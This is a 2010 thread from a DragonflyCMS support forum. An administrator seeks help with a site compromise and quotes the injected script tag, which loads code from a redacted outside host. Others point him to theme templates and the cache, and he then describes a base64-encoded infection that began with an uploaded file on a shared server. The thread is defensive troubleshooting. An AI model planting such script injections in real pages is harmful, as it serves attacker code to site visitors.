|
View previous topic :: View next topic |
| Author |
Message |
jcjordan Newbie


Offline Joined: Oct 29, 2009 Posts: 9 Location: Kansas, US
|
Posted: Sat Jul 31, 2010 3:14 pm Post subject: Code Insertion Between Head and Body Tags |
|
On one of the websites that I administer, I have a code injection between the head and body tags. I have searched the source code, but I have yet to figure out where the culprit is hiding.
| Code:: |
</head><script src=http://xxx.xxx/piudurres/indexu.php ></script>
<body>
|
Any help would be greatly appreciated.
jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
|
|
| Back to top |
|
 |
NanoCaiordo Developer


Offline Joined: Jun 29, 2004 Posts: 3878 Location: Melbourne, AU
|
Posted: Sun Aug 01, 2010 12:56 am Post subject: Re: Code Insertion Between Head and Body Tags |
|
/themes/*/template/index.php
if you can't find it clear the /cache/
_________________ .:: I met php the 03 December 2003 :: Unforgettable day! ::.
Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) mixed
|
|
| Back to top |
|
 |
greenday2k Forum Admin


Offline Joined: Aug 11, 2005 Posts: 489 Location: CO
|
|
| Back to top |
|
 |
jcjordan Newbie


Offline Joined: Oct 29, 2009 Posts: 9 Location: Kansas, US
|
Posted: Sun Aug 01, 2010 4:06 pm Post subject: Re: Code Insertion Between Head and Body Tags |
|
I eventually found it, however, most of it was base64 encoded. It took over almost all javascript files and many php files including config.php.
jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
|
|
| Back to top |
|
 |
jcjordan Newbie


Offline Joined: Oct 29, 2009 Posts: 9 Location: Kansas, US
|
Posted: Sun Aug 01, 2010 4:46 pm Post subject: Re: Code Insertion Between Head and Body Tags |
|
I am still working on trying to figure out how it got in. I have had the one site for about 2 years with no problems and all of a sudden I have two sites both attacked almost concurrently. There have been no changes on hosting or configuration. The first site was infected by an upload of /rss/page.php.
jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
|
|
| Back to top |
|
 |
NanoCaiordo Developer


Offline Joined: Jun 29, 2004 Posts: 3878 Location: Melbourne, AU
|
Posted: Sun Aug 01, 2010 10:32 pm Post subject: Re: Code Insertion Between Head and Body Tags |
|
jcjordan, most luckily the attach was done from within the server ... however which files they modified? Asking because I'm working on few solutions against those kind of attacks and an extensive list of modified files would really help.
Both sites attacked on the same time? Must be done from within the server, is it a shared server?
_________________ .:: I met php the 03 December 2003 :: Unforgettable day! ::.
Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) mixed
|
|
| Back to top |
|
 |
jcjordan Newbie


Offline Joined: Oct 29, 2009 Posts: 9 Location: Kansas, US
|
Posted: Sun Aug 01, 2010 11:09 pm Post subject: Re: Code Insertion Between Head and Body Tags |
|
I have a list of most of the files that they modified and what I think is the original culprit. If you would like, I can send the list and file to you.
Yes, it is a shared server and I have the security team checking into it now.
It was not simultaneous, but it did happen very quickly. I ended up having to kill the site completely, verify that the files were clean and then re-up.
jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
|
|
| Back to top |
|
 |
NanoCaiordo Developer


Offline Joined: Jun 29, 2004 Posts: 3878 Location: Melbourne, AU
|
Posted: Mon Aug 02, 2010 8:22 am Post subject: Re: Code Insertion Between Head and Body Tags |
|
pm sent
_________________ .:: I met php the 03 December 2003 :: Unforgettable day! ::.
Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) mixed
|
|
| Back to top |
|
 |
jcjordan Newbie


Offline Joined: Oct 29, 2009 Posts: 9 Location: Kansas, US
|
Posted: Mon Aug 02, 2010 12:28 pm Post subject: Re: Code Insertion Between Head and Body Tags |
|
Email sent. I sent you the logs, the list of files changed over different domains, and the catalyst file called /rss/page.php.
jcjordan's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) Linux/Apache2/MySQL5.0.14/PHP5.2.6/DF9.2.1
|
|
| Back to top |
|
 |
NanoCaiordo Developer


Offline Joined: Jun 29, 2004 Posts: 3878 Location: Melbourne, AU
|
Posted: Tue Aug 03, 2010 10:24 pm Post subject: Re: Code Insertion Between Head and Body Tags |
|
Never received your email :), please send it again.
_________________ .:: I met php the 03 December 2003 :: Unforgettable day! ::.
Linux 64bit / Apache 2.2 / PHP 5.4 / MySQL 5.5.22 / v9, v10
Linux 32bit / Apache 2.2 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
Windows 64bit / IIS 7.5 / PHP 5.3.10 / MySQL 5.5.22 / v9, v10
NanoCaiordo's server specs (Server OS / Apache / MySQL / PHP / DragonflyCMS) mixed
|
|
| Back to top |
|
 |
|
|